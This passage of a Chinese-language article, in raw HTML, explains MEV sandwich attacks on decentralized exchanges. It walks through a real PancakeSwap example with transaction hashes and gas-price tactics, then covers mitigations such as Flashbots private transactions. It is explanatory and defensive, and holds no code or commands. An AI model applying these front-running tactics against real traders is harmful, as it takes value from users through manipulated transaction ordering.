sans-serif;letter-spacing: 1px;"><br/></span></p><p style="margin: 0pt 1em 10pt;text-align: left;text-indent: 0pt;break-after: avoid;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.5em;"><span style="font-family: Cambria;letter-spacing: 1px;"><img class="rich_pages wxw-img" data-ratio="0.5339285714285714" style="width: 560.01px;height: 298.98px;border-radius: 3px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=113937ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf8TDg9FrYOnZNPwL0ldnqDxabav4O7RLve045zfXFic6ns3eLuDf5gtFO966pKUYyLzY46tQGcd2A%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin: 0pt 1em 6pt;text-align: left;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;font-style: italic;line-height: 1.5em;"><span style="font-family: Cambria;letter-spacing: 1px;"><br/></span></p><p style="margin: 8px 16px 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">在现实的区块链世界中，searcher一般由机器人来充当。它们主要职责就是，在区块链上搜索可能存在MEV的交易，并自动化地进行三明治交易。</span></p><p style="margin: 8px 16px 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="color: rgb(0, 122, 170);letter-spacing: 1px;font-size: 15px;"><strong><span style="color: rgb(0, 122, 170);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">需要注意的是：</span></strong></span></p><ul class="list-paddingleft-1" style="list-style-type: disc;margin-left: 16px;margin-right: 16px;"><li style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><section style="margin: 8px 16px 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.5em;"><span style="text-indent: -24pt;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">只要进行UNI买入操作，就会提高UNI的价格。机器人需要精心计算第一步买入操作时买入的数量，使得受害者进行交易时的价格不会高于最大滑点的价格，否则受害者的交易会被撤回，导致攻击失败。</span></section></li><li style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><section style="margin: 8px 16px 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.5em;"><span style="text-indent: -24pt;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">机器人容易受到恶意token的攻击。最有名的就是沙门氏菌攻击，攻击者在设置好恶意token和合约后，通过一步步设置陷阱诱导机器人进行三明治交易，最终从机器人手中获取了130 ETH。</span></section></li><li style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><section style="margin: 8px 16px 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.5em;"><span style="text-indent: -24pt;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">相比于套利模型，三明治攻击不具有原子性。三明治攻击需要多笔交易来完成，并且还需要控制交易的顺序，这无形中增加了很多风险和不确定性。</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-indent: -24pt;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;"></span></section><section><br/></section></li></ul><p style="line-height: 1.75em;margin-left: 16px;margin-right: 16px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">下图是一个在bsc链的pancakeswap上利用机器人进行三明治攻击的过程：</span></p><p style="margin-left: 1em;margin-right: 1em;line-height: 1.5em;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;"><br/></span></p><p style="margin: 0pt 1em 10pt;text-align: left;text-indent: 0pt;break-after: avoid;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.5em;"><span style="font-family: Cambria;letter-spacing: 1px;"><img class="rich_pages wxw-img" data-ratio="0.10357142857142858" style="width:560.010009765625px;height:57.5099983215332px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=03eb4673&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf8TDg9FrYOnZNPwL0ldnqDtHAlwicQTgIVesewpd3o0ibfBy56MZf5VyeESEsU1icQRRc9HjvLep5pQ%2F640%3Fwx_fmt%3Dpng"/></span></p><section style="margin: 0pt 1em 6pt;text-align: left;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;font-style: italic;line-height: 1.75em;"><span style="font-size: 14px;text-align: justify;text-indent: -24pt;letter-spacing: 1px;"><span style="color: rgb(51, 51, 51);font-family: Cambria;font-style: italic;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: -32px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">•</span>机器人在检测到当前有一笔在pancakeswap上进行swap的交易</span></section><section style="margin: 0pt 1em 6pt;text-align: left;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;font-style: italic;line-height: 1.75em;"><span style="font-size: 14px;text-align: justify;text-indent: -24pt;letter-spacing: 1px;">•机器人通过设置较高的gas price，抢先在交易者前以$0.1516买入一部分的token</span></section><section style="margin: 0pt 1em 6pt;text-align: left;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;font-style: italic;line-height: 1.75em;"><span style="font-size: 14px;text-align: justify;text-indent: -24pt;letter-spacing: 1px;">•受害者以$0.1532完成进行swap交易</span></section><section style="margin: 0pt 1em 6pt;text-align: left;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;font-style: italic;line-height: 1.75em;"><span style="font-size: 14px;text-align: justify;text-indent: -24pt;letter-spacing: 1px;">•机器人紧接着在交易者之后以$0.1534将买入的token卖出，最终赚取0.8939-0.8836=0.0103 BNB</span></section><p style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.5em;"><br/></p><section style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.75em;"><span style="letter-spacing: 1px;font-size: 15px;"><strong><span style="color: rgb(0, 122, 170);font-family: Cambria;">交易详情：</span></strong></span></section><section style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.75em;"><br/></section><section style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.75em;"><span style="font-family: Cambria;text-indent: -24pt;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">机器人买入操作：</span></section><section style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.75em;"><span style="font-family: Cambria;text-indent: -24pt;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">0xab7951bddd2613fec8f82a07b6bac05a8cfec2d489c1a02e2fc5a75d7205b31b</span></section><section style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.75em;"><span style="font-family: Cambria;text-indent: -24pt;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">。gas price：32.355903976 Gwei</span></section><section style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.75em;"><span style="font-family: Cambria;text-indent: -24pt;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">。position：0</span></section><section style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.75em;"><br/></section><section style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.75em;"><span style="font-family: Cambria;text-indent: -24pt;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">交易者正常交易：</span></section><section style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.75em;"><span style="font-family: Cambria;text-indent: -24pt;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">0x5e6ca0ffc44c3d2edaa478ade7873d6b49f98fff4ca5d0679e425f49d0a99377</span></section><section style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.75em;"><span style="font-family: Cambria;text-indent: -24pt;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">。gas price：22.503153478 Gwei</span></section><section style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.75em;"><span style="font-family: Cambria;text-indent: -24pt;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">。position：2</span></section><section style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.75em;"><br/></section><section style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.75em;"><span style="font-family: Cambria;text-indent: -24pt;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">机器人卖出操作：</span></section><section style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.75em;"><span style="font-family: Cambria;text-indent: -24pt;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">0xe4bf63626bf6a35f57b99ebae6a58e68dfc92eab358954622521f92d634adda9</span></section><section style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.75em;"><span style="font-family: Cambria;text-indent: -24pt;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">。gas price：5.000000001 Gwei</span></section><section style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.75em;"><span style="font-family: Cambria;text-indent: -24pt;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">。position：37</span></section><section style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.75em;"><br/></section><section style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">这里机器人在进行卖出时，略微的将gas price提高了0.000000001 Gwei（当前bsc链上标准gas price为5 Gwei），这会使得这笔交易能够跑赢大部分（没有特意修改gas price）的交易。</span></section><p style="line-height: 1.5em;margin-left: 1em;margin-right: 1em;"><span style="font-family: 宋体;letter-spacing: 1px;"><br/></span></p><section data-mpa-template="t" mpa-from-tpl="t" style="margin-left: 1em;margin-right: 1em;"><section data-tools-id="63259" style="overflow: hidden;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;text-align: center;" mpa-from-tpl="t"><p style="margin-right: auto;margin-left: auto;text-align: center;line-height: 1.5em;"><br/></p><section style="margin-right: auto;margin-left: auto;display: inline-block;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/YzHEkzcNr9byvs12MCqJPJYGeMASD1PmmYc1MWPcDVWYQbpSiavVtFMeQwXzWB0HOxGJ2s9QzicBrEGQTmBJQrLw/640?wx_fmt=gif&#34;);background-repeat: no-repeat;width: 60px;height: 60px;background-position: center center;background-size: 100%;" mpa-from-tpl="t"><p style="margin-right: auto;margin-left: auto;white-space: pre-wrap;line-height: 60px;font-size: 18px;font-weight: 600;"><span style="letter-spacing: 1px;">2</span></p></section></section></section><section style="display: flex;justify-content: center;align-items: center;width: 100%;margin-left: 1em;margin-right: 1em;" data-mid="" mpa-from-tpl="t"><section style="display: flex;align-items: center;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t" style="background: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/pfDlv6O5Nu49FIV6jt8vlx5Qw47SLmalbBYm55sOONwMJbjHS3Q8iclT3Y8Y8Mhia4mA955D7yZ4dfLx7eYKIlHg/640?wx_fmt=png&#34;) 0% 0% / 36px 32px repeat-x;height: 33px;"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 32px;letter-spacing: 20px;transform: translateX(9.6px);" data-mid=""><br/></p></section></section></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="width: 18px;height: 1px;background-color: #090909;margin-right: 4px;" data-mid="" mpa-from-tpl="t"><br/></section><section data-mid="" mpa-from-tpl="t" style="background: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/pfDlv6O5Nu49FIV6jt8vlx5Qw47SLmalbBYm55sOONwMJbjHS3Q8iclT3Y8Y8Mhia4mA955D7yZ4dfLx7eYKIlHg/640?wx_fmt=png&#34;) 0% 0% / 36px 32px repeat-x;height: 33px;"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 32px;letter-spacing: 20px;transform: translateX(9.6px);" data-mid="">缓解方案</p></section><section style="width: 18px;height: 1px;background-color: #090909;margin-left: 4px;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section><p><br mpa-from-tpl="t"/></p><section style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.75em;"><br/></section><section style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">许多人都在致力于为了减轻MEV所带来的负面影响，保障交易者的利益，使得MEV收入能够更加的民主化，公开和透明。其中，使用最广泛的有以太坊上的flashbots服务。</span></section><p style="line-height: 1.5em;margin-left: 1em;margin-right: 1em;"><br/></p><section style="display: flex;justify-content: center;align-items: center;width: 100%;margin-left: 1em;margin-right: 1em;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="height: 4px;width: 94%;border-width: 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-left-style: solid;border-color: initial;border-bottom-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section><section style="display: flex;justify-content: center;align-items: center;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="height: 38px;width: 4px;border-width: 1px 0px 1px 1px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-color: initial;border-right-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section><section style="display: flex;justify-content: center;align-items: center;border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);" data-mid="" mpa-from-tpl="t"><section style="margin-left: 4px;width: 0px;height: 0px;border-top: 5px solid #CFDBD6;border-left: 4px solid transparent;border-right: 4px solid transparent;transform: rotate(90deg);" data-mid="" mpa-from-tpl="t"><br/></section><section style="height: 36px;padding: 6px 6px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Regular, PingFang SC;font-weight: 400;color: #333333;line-height: 24px;letter-spacing: 2px;" data-mid=""><strong><span style="letter-spacing: 1px;">flashbot</span></strong></p></section><section style="margin-right: 4px;width: 0px;height: 0px;border-top: 5px solid #CFDBD6;border-left: 4px solid transparent;border-right: 4px solid transparent;transform: rotate(-90deg);" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="height: 38px;width: 4px;border-width: 1px 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-bottom-style: solid;border-color: initial;border-left-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="height: 4px;width: 94%;border-width: 0px 1px 1px;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-color: initial;border-top-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section></section></section><p style="margin-left: 1em;margin-right: 1em;"><br/></p><p style="line-height: 1.5em;margin-left: 1em;margin-right: 1em;"><br/></p><p style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.75em;margin-bottom: 24px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">MEV带来的负面影响的根本原因在于：交易在被打包上链前会在memory pool中以pending的形式存在，而所有人都能够查询memory pool内的交易。</span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 1px;"></span></p><p style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.75em;margin-bottom: 24px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">因此，flashbot通过定制化的mev-geth，使得交易者能够直接与矿工进行交互，不再经过memory pool，把交易的内容发送给矿工进行打包和上链。</span></p><p style="text-align: justify;margin-left: 1em;margin-right: 1em;line-height: 1.5em;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(66, 66, 66);letter-spacing: 1px;"><br/></span></p><p style="margin: 0pt 1em 10pt;text-align: justify;text-indent: 0pt;break-after: avoid;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.5em;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;"><img class="rich_pages wxw-img" data-ratio="0.7982142857142858" style="width: 560.01px;height: 447.22px;border-radius: 3px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=11e0a0b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf8TDg9FrYOnZNPwL0ldnqD9ANClF6p33g632eKHY9Aet2XTrV7HCZP5YLsTfMHuvj30y37XFJwng%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin: 0pt 1em 6pt;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;font-style: italic;line-height: 1.5em;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;"><br/></span></p><section style="margin: 9pt 1em;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">flashbot提供的这类服务叫做隐私交易（Private Transaction），在etherscan上有对应的标签来标识这笔交易是否是隐私交易。</span></section><p style="margin: 9pt 1em;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.5em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;font-size: 15px;"><br/></span></p><p style="margin: 0pt 1em 10pt;text-align: center;text-indent: 0pt;break-after: avoid;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.5em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;font-size: 15px;"><img class="rich_pages wxw-img" data-ratio="0.24685138539042822" style="width: 397.43px;height: 98.02px;border-radius: 3px;" data-type="png" data-w="397" src="https://wechat2rss.xlab.app/img-proxy/?k=901daf39&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf8TDg9FrYOnZNPwL0ldnqD5yzj8PfRKrx4CBASBibABfmZhK5wr69x0KMmZa3zxkU6DtgYA9YfEMg%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin: 0pt 1em 6pt;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;font-style: italic;line-height: 1.5em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;font-size: 15px;"><br/></span></p><section style="margin: 9pt 1em;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">因为此时区块内交易不再是根据gas price来进行排序的，所以区块上也对应有一个标签（Unconventional Ordering）。</span></section><p style="margin: 9pt 1em;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.5em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;font-size: 15px;"><br/></span></p><p style="margin: 0pt 1em 10pt;text-align: center;text-indent: 0pt;break-after: avoid;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.5em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;font-size: 15px;"><img class="rich_pages wxw-img" data-ratio="0.24494949494949494" style="width: 396.09px;height: 96.67px;border-radius: 3px;" data-type="png" data-w="396" src="https://wechat2rss.xlab.app/img-proxy/?k=390b9dbc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf8TDg9FrYOnZNPwL0ldnqDd7qXnaHU1qicEmcjiclG0Bjw73USdAGSehARnuGunRGjibHLhaHRgdubg%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin: 0pt 1em 6pt;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;font-style: italic;line-height: 1.5em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;font-size: 15px;"><br/></span></p><p style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">flashbot还提供了sendbundle的服务，这个服务能够将多个交易按照交易者所需要的顺序执行，并且支持在memory pool中的交易。</span></p><p style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">具体的使用方法和详细的说明文档可以参考：<span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-decoration: none;"><a href="https://docs.flashbots.net/" target="_blank">https://docs.flashbots.net/</a></span>。</span></p><p style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">flashbot为什么有这样的服务，实际需求有多少不得而知。</span></p><p style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">但是，这在某种意义上给三明治机器人提供了巨大的便利，sendbundle这个服务解决了三明治攻击在实际操作的过程中遇到的交易顺序难以确定的问题。</span></p><p style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">三明治机器人只需要监控memory pool中可以进行攻击的交易，并将这笔交易的哈希与自己的交易（抢跑和背跑）打包发给flashbot的矿工，即完成一次三明治攻击。</span></p><p style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">通过Arbitrage Scan平台可以看到链上进行三明治攻击的具体步骤，其中大部分都是通过flashbot来完成交易的。</span></p><p style="margin: 0pt 1em 10pt;text-align: justify;text-indent: 0pt;break-after: avoid;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.5em;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;"><img class="rich_pages wxw-img" data-ratio="0.4232142857142857" style="width: 560.01px;height: 236.57px;border-radius: 3px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=5c4630db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf8TDg9FrYOnZNPwL0ldnqDyvRTuUH4r5hsL9Y1xvKzHkpQqvib4L6icEQwFNNg4JzCG8ibYuySjKj1w%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="line-height: 1.5em;margin-left: 1em;margin-right: 1em;"><br/></p><section style="display: flex;justify-content: center;align-items: center;width: 100%;margin-left: 1em;margin-right: 1em;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="height: 4px;width: 94%;border-width: 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-left-style: solid;border-color: initial;border-bottom-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section><section style="display: flex;justify-content: center;align-items: center;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="height: 38px;width: 4px;border-width: 1px 0px 1px 1px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-color: initial;border-right-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section><section style="display: flex;justify-content: center;align-items: center;border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);" data-mid="" mpa-from-tpl="t"><section style="margin-left: 4px;width: 0px;height: 0px;border-top: 5px solid #CFDBD6;border-left: 4px solid transparent;border-right: 4px solid transparent;transform: rotate(90deg);" data-mid="" mpa-from-tpl="t"><br/></section><section style="height: 36px;padding: 6px 6px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(51, 51, 51);line-height: 24px;letter-spacing: 2px;text-align: center;" data-mid=""><strong><span style="letter-spacing: 1px;">NodeReal</span></strong></p></section><section style="margin-right: 4px;width: 0px;height: 0px;border-top: 5px solid #CFDBD6;border-left: 4px solid transparent;border-right: 4px solid transparent;transform: rotate(-90deg);" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="height: 38px;width: 4px;border-width: 1px 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-bottom-style: solid;border-color: initial;border-left-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="height: 4px;width: 94%;border-width: 0px 1px 1px;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-color: initial;border-top-style: initial;" data-mid="" 